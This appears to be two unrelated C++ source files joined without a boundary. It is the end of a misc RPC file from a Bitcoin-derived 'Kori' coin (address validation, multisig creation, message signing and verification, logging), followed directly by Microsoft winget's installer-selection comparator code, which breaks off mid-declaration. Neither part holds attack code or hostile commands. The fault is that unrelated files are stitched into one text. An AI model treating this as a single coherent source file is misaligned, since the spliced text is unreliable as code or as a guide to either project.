Hash160 of the HD master pubkey\n" "}\n" "\nExamples:\n" + HelpExampleCli("validateaddress", "\"1PSSGeFHDnKNxiEyFrD1wcEaHr9hrQDDWc\"") + HelpExampleRpc("validateaddress", "\"1PSSGeFHDnKNxiEyFrD1wcEaHr9hrQDDWc\"") ); #ifdef ENABLE_WALLET CWallet * const pwallet = GetWalletForJSONRPCRequest(request); LOCK2(cs_main, pwallet ? &pwallet->cs_wallet : nullptr); #else LOCK(cs_main); #endif CTxDestination dest = DecodeDestination(request.params[0].get_str()); bool isValid = IsValidDestination(dest); UniValue ret(UniValue::VOBJ); ret.push_back(Pair("isvalid", isValid)); if (isValid) { std::string currentAddress = EncodeDestination(dest); ret.push_back(Pair("address", currentAddress)); CScript scriptPubKey = GetScriptForDestination(dest); ret.push_back(Pair("scriptPubKey", HexStr(scriptPubKey.begin(), scriptPubKey.end()))); #ifdef ENABLE_WALLET isminetype mine = pwallet ? IsMine(*pwallet, dest) : ISMINE_NO; ret.push_back(Pair("ismine", bool(mine & ISMINE_SPENDABLE))); ret.push_back(Pair("iswatchonly", bool(mine & ISMINE_WATCH_ONLY))); UniValue detail = boost::apply_visitor(DescribeAddressVisitor(pwallet), dest); ret.pushKVs(detail); if (pwallet && pwallet->mapAddressBook.count(dest)) { ret.push_back(Pair("account", pwallet->mapAddressBook[dest].name)); } if (pwallet) { const auto& meta = pwallet->mapKeyMetadata; const CKeyID *keyID = boost::get<CKeyID>(&dest); auto it = keyID ? meta.find(*keyID) : meta.end(); if (it == meta.end()) { it = meta.find(CScriptID(scriptPubKey)); } if (it != meta.end()) { ret.push_back(Pair("timestamp", it->second.nCreateTime)); if (!it->second.hdKeypath.empty()) { ret.push_back(Pair("hdkeypath", it->second.hdKeypath)); ret.push_back(Pair("hdmasterkeyid", it->second.hdMasterKeyID.GetHex())); } } } #endif } return ret; } // Needed even with !ENABLE_WALLET, to pass (ignored) pointers around class CWallet; /** * Used by addmultisigaddress / createmultisig: */ CScript _createmultisig_redeemScript(CWallet * const pwallet, const UniValue& params) { int nRequired = params[0].get_int(); const UniValue& keys = params[1].get_array(); // Gather public keys if (nRequired < 1) throw std::runtime_error("a multisignature address must require at least one key to redeem"); if ((int)keys.size() < nRequired) throw std::runtime_error( strprintf("not enough keys supplied " "(got %u keys, but need at least %d to redeem)", keys.size(), nRequired)); if (keys.size() > 16) throw std::runtime_error("Number of addresses involved in the multisignature address creation > 16\nReduce the number"); std::vector<CPubKey> pubkeys; pubkeys.resize(keys.size()); for (unsigned int i = 0; i < keys.size(); i++) { const std::string& ks = keys[i].get_str(); #ifdef ENABLE_WALLET // Case 1: Kori address and we have full public key: CTxDestination dest = DecodeDestination(ks); if (pwallet && IsValidDestination(dest)) { const CKeyID *keyID = boost::get<CKeyID>(&dest); if (!keyID) { throw std::runtime_error(strprintf("%s does not refer to a key", ks)); } CPubKey vchPubKey; if (!pwallet->GetPubKey(*keyID, vchPubKey)) { throw std::runtime_error(strprintf("no full public key for address %s", ks)); } if (!vchPubKey.IsFullyValid()) throw std::runtime_error(" Invalid public key: "+ks); pubkeys[i] = vchPubKey; } // Case 2: hex public key else #endif if (IsHex(ks)) { CPubKey vchPubKey(ParseHex(ks)); if (!vchPubKey.IsFullyValid()) throw std::runtime_error(" Invalid public key: "+ks); pubkeys[i] = vchPubKey; } else { throw std::runtime_error(" Invalid public key: "+ks); } } CScript result = GetScriptForMultisig(nRequired, pubkeys); if (result.size() > MAX_SCRIPT_ELEMENT_SIZE) throw std::runtime_error( strprintf("redeemScript exceeds size limit: %d > %d", result.size(), MAX_SCRIPT_ELEMENT_SIZE)); return result; } UniValue createmultisig(const JSONRPCRequest& request) { #ifdef ENABLE_WALLET CWallet * const pwallet = GetWalletForJSONRPCRequest(request); #else CWallet * const pwallet = nullptr; #endif if (request.fHelp || request.params.size() < 2 || request.params.size() > 2) { std::string msg = "createmultisig nrequired [\"key\",...]\n" "\nCreates a multi-signature address with n signature of m keys required.\n" "It returns a json object with the address and redeemScript.\n" "\nArguments:\n" "1. nrequired (numeric, required) The number of required signatures out of the n keys or addresses.\n" "2. \"keys\" (string, required) A json array of keys which are kori addresses or hex-encoded public keys\n" " [\n" " \"key\" (string) kori address or hex-encoded public key\n" " ,...\n" " ]\n" "\nResult:\n" "{\n" " \"address\":\"multisigaddress\", (string) The value of the new multisig address.\n" " \"redeemScript\":\"script\" (string) The string value of the hex-encoded redemption script.\n" "}\n" "\nExamples:\n" "\nCreate a multisig address from 2 addresses\n" + HelpExampleCli("createmultisig", "2 \"[\\\"16sSauSf5pF2UkUwvKGq4qjNRzBZYqgEL5\\\",\\\"171sgjn4YtPu27adkKGrdDwzRTxnRkBfKV\\\"]\"") + "\nAs a json rpc call\n" + HelpExampleRpc("createmultisig", "2, \"[\\\"16sSauSf5pF2UkUwvKGq4qjNRzBZYqgEL5\\\",\\\"171sgjn4YtPu27adkKGrdDwzRTxnRkBfKV\\\"]\"") ; throw std::runtime_error(msg); } // Construct using pay-to-script-hash: CScript inner = _createmultisig_redeemScript(pwallet, request.params); CScriptID innerID(inner); UniValue result(UniValue::VOBJ); result.push_back(Pair("address", EncodeDestination(innerID))); result.push_back(Pair("redeemScript", HexStr(inner.begin(), inner.end()))); return result; } UniValue verifymessage(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() != 3) throw std::runtime_error( "verifymessage \"address\" \"signature\" \"message\"\n" "\nVerify a signed message\n" "\nArguments:\n" "1. \"address\" (string, required) The kori address to use for the signature.\n" "2. \"signature\" (string, required) The signature provided by the signer in base 64 encoding (see signmessage).\n" "3. \"message\" (string, required) The message that was signed.\n" "\nResult:\n" "true|false (boolean) If the signature is verified or not.\n" "\nExamples:\n" "\nUnlock the wallet for 30 seconds\n" + HelpExampleCli("walletpassphrase", "\"mypassphrase\" 30") + "\nCreate the signature\n" + HelpExampleCli("signmessage", "\"1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XX\" \"my message\"") + "\nVerify the signature\n" + HelpExampleCli("verifymessage", "\"1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XX\" \"signature\" \"my message\"") + "\nAs json rpc\n" + HelpExampleRpc("verifymessage", "\"1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XX\", \"signature\", \"my message\"") ); LOCK(cs_main); std::string strAddress = request.params[0].get_str(); std::string strSign = request.params[1].get_str(); std::string strMessage = request.params[2].get_str(); CTxDestination destination = DecodeDestination(strAddress); if (!IsValidDestination(destination)) { throw JSONRPCError(RPC_TYPE_ERROR, "Invalid address"); } const CKeyID *keyID = boost::get<CKeyID>(&destination); if (!keyID) { throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to key"); } bool fInvalid = false; std::vector<unsigned char> vchSig = DecodeBase64(strSign.c_str(), &fInvalid); if (fInvalid) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Malformed base64 encoding"); CHashWriter ss(SER_GETHASH, 0); ss << strMessageMagic; ss << strMessage; CPubKey pubkey; if (!pubkey.RecoverCompact(ss.GetHash(), vchSig)) return false; return (pubkey.GetID() == *keyID); } UniValue signmessagewithprivkey(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() != 2) throw std::runtime_error( "signmessagewithprivkey \"privkey\" \"message\"\n" "\nSign a message with the private key of an address\n" "\nArguments:\n" "1. \"privkey\" (string, required) The private key to sign the message with.\n" "2. \"message\" (string, required) The message to create a signature of.\n" "\nResult:\n" "\"signature\" (string) The signature of the message encoded in base 64\n" "\nExamples:\n" "\nCreate the signature\n" + HelpExampleCli("signmessagewithprivkey", "\"privkey\" \"my message\"") + "\nVerify the signature\n" + HelpExampleCli("verifymessage", "\"1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XX\" \"signature\" \"my message\"") + "\nAs json rpc\n" + HelpExampleRpc("signmessagewithprivkey", "\"privkey\", \"my message\"") ); std::string strPrivkey = request.params[0].get_str(); std::string strMessage = request.params[1].get_str(); CKoriSecret vchSecret; bool fGood = vchSecret.SetString(strPrivkey); if (!fGood) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid private key"); CKey key = vchSecret.GetKey(); if (!key.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Private key outside allowed range"); CHashWriter ss(SER_GETHASH, 0); ss << strMessageMagic; ss << strMessage; std::vector<unsigned char> vchSig; if (!key.SignCompact(ss.GetHash(), vchSig)) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Sign failed"); return EncodeBase64(vchSig.data(), vchSig.size()); } UniValue setmocktime(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() != 1) throw std::runtime_error( "setmocktime timestamp\n" "\nSet the local time to given timestamp (-regtest only)\n" "\nArguments:\n" "1. timestamp (integer, required) Unix seconds-since-epoch timestamp\n" " Pass 0 to go back to using the system time." ); if (!Params().MineBlocksOnDemand()) throw std::runtime_error("setmocktime for regression testing (-regtest mode) only"); // For now, don't change mocktime if we're in the middle of validation, as // this could have an effect on mempool time-based eviction, as well as // IsCurrentForFeeEstimation() and IsInitialBlockDownload(). // TODO: figure out the right way to synchronize around mocktime, and // ensure all call sites of GetTime() are accessing this safely. LOCK(cs_main); RPCTypeCheck(request.params, {UniValue::VNUM}); SetMockTime(request.params[0].get_int64()); return NullUniValue; } static UniValue RPCLockedMemoryInfo() { LockedPool::Stats stats = LockedPoolManager::Instance().stats(); UniValue obj(UniValue::VOBJ); obj.push_back(Pair("used", uint64_t(stats.used))); obj.push_back(Pair("free", uint64_t(stats.free))); obj.push_back(Pair("total", uint64_t(stats.total))); obj.push_back(Pair("locked", uint64_t(stats.locked))); obj.push_back(Pair("chunks_used", uint64_t(stats.chunks_used))); obj.push_back(Pair("chunks_free", uint64_t(stats.chunks_free))); return obj; } #ifdef HAVE_MALLOC_INFO static std::string RPCMallocInfo() { char *ptr = nullptr; size_t size = 0; FILE *f = open_memstream(&ptr, &size); if (f) { malloc_info(0, f); fclose(f); if (ptr) { std::string rv(ptr, size); free(ptr); return rv; } } return ""; } #endif UniValue getmemoryinfo(const JSONRPCRequest& request) { /* Please, avoid using the word "pool" here in the RPC interface or help, * as users will undoubtedly confuse it with the other "memory pool" */ if (request.fHelp || request.params.size() > 1) throw std::runtime_error( "getmemoryinfo (\"mode\")\n" "Returns an object containing information about memory usage.\n" "Arguments:\n" "1. \"mode\" determines what kind of information is returned. This argument is optional, the default mode is \"stats\".\n" " - \"stats\" returns general statistics about memory usage in the daemon.\n" " - \"mallocinfo\" returns an XML string describing low-level heap state (only available if compiled with glibc 2.10+).\n" "\nResult (mode \"stats\"):\n" "{\n" " \"locked\": { (json object) Information about locked memory manager\n" " \"used\": xxxxx, (numeric) Number of bytes used\n" " \"free\": xxxxx, (numeric) Number of bytes available in current arenas\n" " \"total\": xxxxxxx, (numeric) Total number of bytes managed\n" " \"locked\": xxxxxx, (numeric) Amount of bytes that succeeded locking. If this number is smaller than total, locking pages failed at some point and key data could be swapped to disk.\n" " \"chunks_used\": xxxxx, (numeric) Number allocated chunks\n" " \"chunks_free\": xxxxx, (numeric) Number unused chunks\n" " }\n" "}\n" "\nResult (mode \"mallocinfo\"):\n" "\"<malloc version=\"1\">...\"\n" "\nExamples:\n" + HelpExampleCli("getmemoryinfo", "") + HelpExampleRpc("getmemoryinfo", "") ); std::string mode = request.params[0].isNull() ? "stats" : request.params[0].get_str(); if (mode == "stats") { UniValue obj(UniValue::VOBJ); obj.push_back(Pair("locked", RPCLockedMemoryInfo())); return obj; } else if (mode == "mallocinfo") { #ifdef HAVE_MALLOC_INFO return RPCMallocInfo(); #else throw JSONRPCError(RPC_INVALID_PARAMETER, "mallocinfo is only available when compiled with glibc 2.10+"); #endif } else { throw JSONRPCError(RPC_INVALID_PARAMETER, "unknown mode " + mode); } } uint32_t getCategoryMask(UniValue cats) { cats = cats.get_array(); uint32_t mask = 0; for (unsigned int i = 0; i < cats.size(); ++i) { uint32_t flag = 0; std::string cat = cats[i].get_str(); if (!GetLogCategory(&flag, &cat)) { throw JSONRPCError(RPC_INVALID_PARAMETER, "unknown logging category " + cat); } if (flag == BCLog::NONE) { return 0; } mask |= flag; } return mask; } UniValue logging(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() > 2) { throw std::runtime_error( "logging ( <include> <exclude> )\n" "Gets and sets the logging configuration.\n" "When called without an argument, returns the list of categories with status that are currently being debug logged or not.\n" "When called with arguments, adds or removes categories from debug logging and return the lists above.\n" "The arguments are evaluated in order \"include\", \"exclude\".\n" "If an item is both included and excluded, it will thus end up being excluded.\n" "The valid logging categories are: " + ListLogCategories() + "\n" "In addition, the following are available as category names with special meanings:\n" " - \"all\", \"1\" : represent all logging categories.\n" " - \"none\", \"0\" : even if other logging categories are specified, ignore all of them.\n" "\nArguments:\n" "1. \"include\" (array of strings, optional) A json array of categories to add debug logging\n" " [\n" " \"category\" (string) the valid logging category\n" " ,...\n" " ]\n" "2. \"exclude\" (array of strings, optional) A json array of categories to remove debug logging\n" " [\n" " \"category\" (string) the valid logging category\n" " ,...\n" " ]\n" "\nResult:\n" "{ (json object where keys are the logging categories, and values indicates its status\n" " \"category\": 0|1, (numeric) if being debug logged or not. 0:inactive, 1:active\n" " ...\n" "}\n" "\nExamples:\n" + HelpExampleCli("logging", "\"[\\\"all\\\"]\" \"[\\\"http\\\"]\"") + HelpExampleRpc("logging", "[\"all\"], \"[libevent]\"") ); } uint32_t originalLogCategories = logCategories; if (request.params[0].isArray()) { logCategories |= getCategoryMask(request.params[0]); } if (request.params[1].isArray()) { logCategories &= ~getCategoryMask(request.params[1]); } // Update libevent logging if BCLog::LIBEVENT has changed. // If the library version doesn't allow it, UpdateHTTPServerLogging() returns false, // in which case we should clear the BCLog::LIBEVENT flag. // Throw an error if the user has explicitly asked to change only the libevent // flag and it failed. uint32_t changedLogCategories = originalLogCategories ^ logCategories; if (changedLogCategories & BCLog::LIBEVENT) { if (!UpdateHTTPServerLogging(logCategories & BCLog::LIBEVENT)) { logCategories &= ~BCLog::LIBEVENT; if (changedLogCategories == BCLog::LIBEVENT) { throw JSONRPCError(RPC_INVALID_PARAMETER, "libevent logging cannot be updated when using libevent before v2.1.1."); } } } UniValue result(UniValue::VOBJ); std::vector<CLogCategoryActive> vLogCatActive = ListActiveLogCategories(); for (const auto& logCatActive : vLogCatActive) { result.pushKV(logCatActive.category, logCatActive.active); } return result; } UniValue echo(const JSONRPCRequest& request) { if (request.fHelp) throw std::runtime_error( "echo|echojson \"message\" ...\n" "\nSimply echo back the input arguments. This command is for testing.\n" "\nThe difference between echo and echojson is that echojson has argument conversion enabled in the client-side table in" "kori-cli and the GUI. There is no server-side difference." ); return request.params; } static const CRPCCommand commands[] = { // category name actor (function) argNames // --------------------- ------------------------ ----------------------- ---------- { "control", "getmemoryinfo", &getmemoryinfo, {"mode"} }, { "control", "logging", &logging, {"include", "exclude"}}, { "util", "validateaddress", &validateaddress, {"address"} }, /* uses wallet if enabled */ { "util", "createmultisig", &createmultisig, {"nrequired","keys"} }, { "util", "verifymessage", &verifymessage, {"address","signature","message"} }, { "util", "signmessagewithprivkey", &signmessagewithprivkey, {"privkey","message"} }, /* Not shown in help */ { "hidden", "setmocktime", &setmocktime, {"timestamp"}}, { "hidden", "echo", &echo, {"arg0","arg1","arg2","arg3","arg4","arg5","arg6","arg7","arg8","arg9"}}, { "hidden", "echojson", &echo, {"arg0","arg1","arg2","arg3","arg4","arg5","arg6","arg7","arg8","arg9"}}, }; void RegisterMiscRPCCommands(CRPCTable &t) { for (unsigned int vcidx = 0; vcidx < ARRAYLEN(commands); vcidx++) t.appendCommand(commands[vcidx].name, &commands[vcidx]); }
// Copyright (c) Microsoft Corporation. // Licensed under the MIT License. #include "pch.h" #include "WorkflowBase.h" #include "ExecutionContext.h" #include "ManifestComparator.h" #include <winget/UserSettings.h> using namespace AppInstaller::CLI; using namespace AppInstaller::Manifest; std::ostream& operator<<(std::ostream& out, const AppInstaller::Manifest::ManifestInstaller& installer) { return out << '[' << AppInstaller::Utility::ToString(installer.Arch) << ',' << AppInstaller::Manifest::InstallerTypeToString(installer.InstallerType) << ',' << AppInstaller::Manifest::ScopeToString(installer.Scope) << ',' << installer.Locale << ']'; } namespace AppInstaller::CLI::Workflow { namespace { struct OSVersionFilter : public details::FilterField { OSVersionFilter() : details::FilterField("OS Version") {} InapplicabilityFlags IsApplicable(const Manifest::ManifestInstaller& installer) override { if (installer.MinOSVersion.empty() || Runtime::IsCurrentOSVersionGreaterThanOrEqual(Utility::Version(installer.MinOSVersion))) { return InapplicabilityFlags::None; } return InapplicabilityFlags::OSVersion; } std::string ExplainInapplicable(const Manifest::ManifestInstaller& installer) override { std::string result = "Current OS is lower than MinOSVersion "; result += installer.MinOSVersion; return result; } }; struct MachineArchitectureComparator : public details::ComparisonField { MachineArchitectureComparator() : details::ComparisonField("Machine Architecture") {} MachineArchitectureComparator(std::vector<Utility::Architecture> allowedArchitectures) : details::ComparisonField("Machine Architecture"), m_allowedArchitectures(std::move(allowedArchitectures)) { AICLI_LOG(CLI, Verbose, << "Architecture Comparator created with allowed architectures: " << GetAllowedArchitecturesString()); } // TODO: At some point we can do better about matching the currently installed architecture static std::unique_ptr<MachineArchitectureComparator> Create(const Execution::Context& context, const Repository::IPackageVersion::Metadata&) { if (context.Contains(Execution::Data::AllowedArchitectures)) { const std::vector<Utility::Architecture>& allowedArchitectures = context.Get<Execution::Data::AllowedArchitectures>(); if (!allowedArchitectures.empty()) { // If the incoming data contains elements, we will use them to construct a final allowed list. // The algorithm is to take elements until we find Unknown, which indicates that any architecture is // acceptable at this point. The system supported set of architectures will then be placed at the end. std::vector<Utility::Architecture> result; bool addRemainingApplicableArchitectures = false; for (Utility::Architecture architecture : allowedArchitectures) { if (architecture == Utility::Architecture::Unknown) { addRemainingApplicableArchitectures = true; break; } // If the architecture is applicable and not already in our result set... if (Utility::IsApplicableArchitecture(architecture) != Utility::InapplicableArchitecture && Utility::IsApplicableArchitecture(architecture, result) == Utility::InapplicableArchitecture) { result.push_back(architecture); } } if (addRemainingApplicableArchitectures) { for (Utility::Architecture architecture : Utility::GetApplicableArchitectures()) { if (Utility::IsApplicableArchitecture(architecture, result) == Utility::InapplicableArchitecture) { result.push_back(architecture); } } } return std::make_unique<MachineArchitectureComparator>(std::move(result)); } } return std::make_unique<MachineArchitectureComparator>(); } InapplicabilityFlags IsApplicable(const Manifest::ManifestInstaller& installer) override { if (CheckAllowedArchitecture(installer.Arch) == Utility::InapplicableArchitecture || IsSystemArchitectureUnsupportedByInstaller(installer)) { return InapplicabilityFlags::MachineArchitecture; } return InapplicabilityFlags::None; } std::string ExplainInapplicable(const Manifest::ManifestInstaller& installer) override { std::string result; if (Utility::IsApplicableArchitecture(installer.Arch) == Utility::InapplicableArchitecture) { result = "Machine is not compatible with "; result += Utility::ToString(installer.Arch); } else if (IsSystemArchitectureUnsupportedByInstaller(installer)) { result = "System architecture is unsupported by installer"; } else { result = "Architecture was excluded by caller : "; result += Utility::ToString(installer.Arch); } return result; } bool IsFirstBetter(const Manifest::ManifestInstaller& first, const Manifest::ManifestInstaller& second) override { auto arch1 = CheckAllowedArchitecture(first.Arch); auto arch2 = CheckAllowedArchitecture(second.Arch); if (arch1 > arch2) { return true; } return false; } private: int CheckAllowedArchitecture(Utility::Architecture architecture) { if (m_allowedArchitectures.empty()) { return Utility::IsApplicableArchitecture(architecture); } else { return Utility::IsApplicableArchitecture(architecture, m_allowedArchitectures); } } bool IsSystemArchitectureUnsupportedByInstaller(const ManifestInstaller& installer) { auto unsupportedItr = std::find( installer.UnsupportedOSArchitectures.begin(), installer.UnsupportedOSArchitectures.end(), Utility::GetSystemArchitecture()); return unsupportedItr != installer.UnsupportedOSArchitectures.end(); } std::string GetAllowedArchitecturesString() { std::stringstream result; bool prependComma = false; for (Utility::Architecture architecture : m_allowedArchitectures) { if (prependComma) { result << ", "; } result << Utility::ToString(architecture); prependComma = true; } return result.str(); } std::vector<Utility::Architecture> m_allowedArchitectures; }; struct InstalledTypeComparator : public details::ComparisonField { InstalledTypeComparator(Manifest::InstallerTypeEnum installedType) : details::ComparisonField("Installed Type"), m_installedType(installedType) {} static std::unique_ptr<InstalledTypeComparator> Create(const Repository::IPackageVersion::Metadata& installationMetadata) { auto installerTypeItr = installationMetadata.find(Repository::PackageVersionMetadata::InstalledType); if (installerTypeItr != installationMetadata.end()) { Manifest::InstallerTypeEnum installedType = Manifest::ConvertToInstallerTypeEnum(installerTypeItr->second); if (installedType != Manifest::InstallerTypeEnum::Unknown) { return std::make_unique<InstalledTypeComparator>(installedType); } } return {}; } InapplicabilityFlags IsApplicable(const Manifest::ManifestInstaller& installer) override { if (Manifest::IsInstallerTypeCompatible(installer.InstallerType, m_installedType)) { return InapplicabilityFlags::None; } return InapplicabilityFlags::InstalledType; } std::string ExplainInapplicable(const Manifest::ManifestInstaller& installer) override { std::string result = "Installed package type is not compatible with "; result += Manifest::InstallerTypeToString(installer.InstallerType); return result; } bool IsFirstBetter(const Manifest::ManifestInstaller& first, const Manifest::ManifestInstaller& second) override { return (first.InstallerType == m_installedType && second.InstallerType != m_installedType); } private: Manifest::InstallerTypeEnum m_installedType; }; struct InstalledScopeFilter : public details::FilterField { InstalledScopeFilter(Manifest::ScopeEnum requirement) : details::FilterField("Installed Scope"), m_requirement(requirement) {} static std::unique_ptr<InstalledScopeFilter> Create(const Repository::IPackageVersion::Metadata& installationMetadata) { // Check for an existing install and require a matching scope. auto installerScopeItr = installationMetadata.find(Repository::PackageVersionMetadata::InstalledScope); if (installerScopeItr != installationMetadata.end()) { Manifest::ScopeEnum installedScope = Manifest::ConvertToScopeEnum(installerScopeItr->second); if (installedScope != Manifest::ScopeEnum::Unknown) { return std::make_unique<InstalledScopeFilter>(installedScope); } } return {}; } InapplicabilityFlags IsApplicable(const Manifest::ManifestInstaller& installer) override { // We have to assume the unknown scope will match our required scope, or the entire catalog would stop working for upgrade. if (installer.Scope == Manifest::ScopeEnum::Unknown || installer.Scope == m_requirement) { return InapplicabilityFlags::None; } return InapplicabilityFlags::InstalledScope; } std::string ExplainInapplicable(const Manifest::ManifestInstaller& installer) override { std::string result = "Installer scope does not matched currently installed scope: "; result += Manifest::ScopeToString(installer.Scope); result += " != "; result += Manifest::ScopeToString(m_requirement); return result; } private: Manifest::ScopeEnum m_requirement; }; struct ScopeComparator : public details::ComparisonField { ScopeComparator(Manifest::ScopeEnum preference, Manifest::ScopeEnum requirement) : details::ComparisonField("Scope"), m_preference(preference), m_requirement(requirement) {} static std::unique_ptr<ScopeComparator> Create(const Execution::Args& args) { // Preference will always come from settings Manifest::ScopeEnum preference = ConvertScope(Settings::User().Get<Settings::Setting::InstallScopePreference>()); // Requirement may come from args or settings; args overrides settings. Manifest::ScopeEnum requirement = Manifest::ScopeEnum::Unknown; if (args.Contains(Execution::Args::Type::InstallScope)) { requirement = Manifest::ConvertToScopeEnum(args.GetArg(Execution::Args::Type::InstallScope)); } else { requirement = ConvertScope(Settings::User().Get<Settings::Setting::InstallScopeRequirement>()); } if (preference != Manifest::ScopeEnum::Unknown || requirement != Manifest::ScopeEnum::Unknown) { return std::make_unique<ScopeComparator>(preference, requirement); } else { return {}; } } InapplicabilityFlags IsApplicable(const Manifest::ManifestInstaller& installer) override { if (m_requirement == Manifest::ScopeEnum::Unknown || installer.Scope == m_requirement) { return InapplicabilityFlags::None; } return InapplicabilityFlags::Scope; } std::string ExplainInapplicable(const Manifest::ManifestInstaller& installer) override { std::string result = "Installer scope does not match required scope: "; result += Manifest::ScopeToString(installer.Scope); result += " != "; result += Manifest::ScopeToString(m_requirement); return result; } bool IsFirstBetter(const Manifest::ManifestInstaller& first, const Manifest::ManifestInstaller& second) override { return m_preference != Manifest::ScopeEnum::Unknown && (first.Scope == m_preference && second.Scope != m_preference); } private: static Manifest::ScopeEnum ConvertScope(Settings::ScopePreference scope) { switch (scope) { case Settings::ScopePreference::None: return Manifest::ScopeEnum::Unknown; case Settings::ScopePreference::User: return Manifest::ScopeEnum::User; case Settings::ScopePreference::Machine: return Manifest::ScopeEnum::Machine; } return Manifest::ScopeEnum::Unknown; } Manifest::ScopeEnum m_preference; Manifest::ScopeEnum m_requirement; }; struct InstalledLocaleComparator : public details::ComparisonField { InstalledLocaleComparator(std::string installedLocale) : details::ComparisonField("Installed Locale"), m_installedLocale(std::move(installedLocale)) {} static std::unique_ptr<InstalledLocaleComparator> Create(const Repository::IPackageVersion::Metadata& installationMetadata) { // Check for an existing install and require a compatible locale. auto installerLocaleItr = installationMetadata.find(Repository::PackageVersionMetadata::InstalledLocale); if (installerLocaleItr != installationMetadata.end()) { return std::make_unique<InstalledLocaleComparator>(installerLocaleItr->second); } return {}; } InapplicabilityFlags IsApplicable(const Manifest::ManifestInstaller& installer) override { // We have to assume an unknown installer locale will match our installed locale, or the entire catalog would stop working for upgrade. if (installer.Locale.empty() || Locale::GetDistanceOfLanguage(m_installedLocale, installer.Locale) >= Locale::MinimumDistanceScoreAsCompatibleMatch) { return InapplicabilityFlags::None; } return InapplicabilityFlags::InstalledLocale; } std::string ExplainInapplicable(const Manifest::ManifestInstaller& installer) override { std::string result = "Installer locale is not compatible with currently installed locale: "; result += installer.Locale; result += " not compatible with "; result += m_installedLocale; return result; } bool IsFirstBetter(const Manifest::ManifestInstaller& first, const Manifest::ManifestInstaller& second) override { double firstScore = first.Locale.empty() ? Locale::UnknownLanguageDistanceScore : Locale::GetDistanceOfLanguage(m_installedLocale, first.Locale); double secondScore = second.Locale.empty() ? Locale::UnknownLanguageDistanceScore : Locale::GetDistanceOfLanguage(m_installedLocale, second.Locale); return firstScore > secondScore; } private: std::string m_installedLocale; }; struct LocaleComparator : public details::ComparisonField { LocaleComparator(std::vector<std::string> preference, std::vector<std::string> requirement) : details::ComparisonField("Locale"), m_preference(std::move(preference)), m_requirement(std::move(requirement)) { m_requirementAsString = GetLocalesListAsString(m_requirement); m_preferenceAsString = GetLocalesListAsString(m_preference); AICLI_LOG(CLI, Verbose, << "Locale Comparator created with Required Locales: " << m_requirementAsString << " , Preferred Locales: " << m_preferenceAsString); } static std::unique_ptr<LocaleComparator> Create(const Execution::Args& args) { std::vector<std::string> preference; std::vector<std::string> requirement; // Preference will come from winget settings or Preferred Languages settings. winget settings takes precedence. preference = Settings::User().Get<Settings::Setting::InstallLocalePreference>(); if (preference.empty()) { preference = Locale::GetUserPreferredLanguages(); } // Requirement may come from args or settings; args overrides settings. if (args.Contains(Execution::Args::Type::Locale)) { requirement.emplace_back(args.GetArg(Execution::Args::Type::Locale)); } else { requirement = Settings::User().Get<Settings::Setting::InstallLocaleRequirement>(); } if (!preference.empty() || !requirement.empty()) { return std::make_unique<LocaleComparator>(preference, requirement); } else { return {}; } } InapplicabilityFlags IsApplicable(const Manifest::ManifestInstaller& installer) override { if (m_requirement.empty()) { return InapplicabilityFlags::None; } for (auto const& requiredLocale : m_requirement) { if (Locale::GetDistanceOfLanguage(requiredLocale, installer.Locale) >= Locale::MinimumDistanceScoreAsPerfectMatch) { return InapplicabilityFlags::None; } } return InapplicabilityFlags::Locale; } std::string ExplainInapplicable(const Manifest::ManifestInstaller& installer) override { std::string result = "Installer locale does not match required locale: "; result += installer.Locale; result += "Required locales: "; result += m_requirementAsString; return result; } bool IsFirstBetter(const Manifest::ManifestInstaller& first, const Manifest::ManifestInstaller& second) override { if (m_preference.empty()) { return false; } for (auto const& preferredLocale : m_preference) { double firstScore = first.Locale.empty() ? Locale::UnknownLanguageDistanceScore : Locale::GetDistanceOfLanguage(preferredLocale, first.Locale); double secondScore = second.Locale.empty() ? Locale::UnknownLanguageDistanceScore : Locale::GetDistanceOfLanguage(preferredLocale, second.Locale); if (firstScore >= Locale::MinimumDistanceScoreAsCompatibleMatch || secondScore >= Locale::MinimumDistanceScoreAsCompatibleMatch) { return firstScore > secondScore; } } // At this point, the installer locale matches no preference. // if first is unknown and second is no match for sure, we might prefer unknown one. return first.Locale.empty() && !second.Locale.empty(); } private: std::vector<std::string> m_preference; std::vector<std::string> m_requirement; std::string m_requirementAsString; std::string m_preferenceAsString; std::string GetLocalesListAsString(const std::vector<std::string>& locales) { std::string result = "["; bool first = true; for (auto const& locale : locales) { if (first) { first = false; } else { result += ", "; } result += locale; } result += ']'; return result; } }; } ManifestComparator::ManifestComparator(const Execution::Context& context, const Repository::IPackageVersion::Metadata& installationMetadata) { AddFilter(std::make_unique<OSVersionFilter>()); AddFilter(InstalledScopeFilter::Create(installationMetadata)); // Filter order is not important, but comparison order determines priority. // TODO: There are improvements to be made here around ordering, especially in the context of implicit vs explicit vs command line preferences. AddComparator(InstalledTypeComparator::Create(installationMetadata)); auto installedLocaleComparator = InstalledLocaleComparator::Create(installationMetadata); if (installedLocaleComparator) { AddComparator(std::move(installedLocaleComparator)); } else { AddComparator(LocaleComparator::Create(context.Args)); } AddComparator(ScopeComparator::Create(context.Args)); AddComparator(MachineArchitectureComparator::Create(context, installationMetadata)); } InstallerAndInapplicabilities ManifestComparator::GetPreferredInstaller(const Manifest::Manifest& manifest) { AICLI_LOG(CLI, Info, << "Starting installer selection."); const Manifest::ManifestInstaller* result = nullptr; std::vector<InapplicabilityFlags> inapplicabilitiesInstallers; for (const auto& installer : manifest.Installers) { auto inapplicabilityInstaller = IsApplicable(installer); if (inapplicabilityInstaller == InapplicabilityFlags::None) { if (!result || IsFirstBetter(installer, *result)) { AICLI_LOG(CLI, Verbose, << "Installer " << installer << " is current best choice"); result = &installer; } } else { inapplicabilitiesInstallers.push_back(inapplicabilityInstaller); } } if (!result) { return { {}, std::move(inapplicabilitiesInstallers) }; } return { *result, std::move(inapplicabilitiesInstallers) }; } InapplicabilityFlags 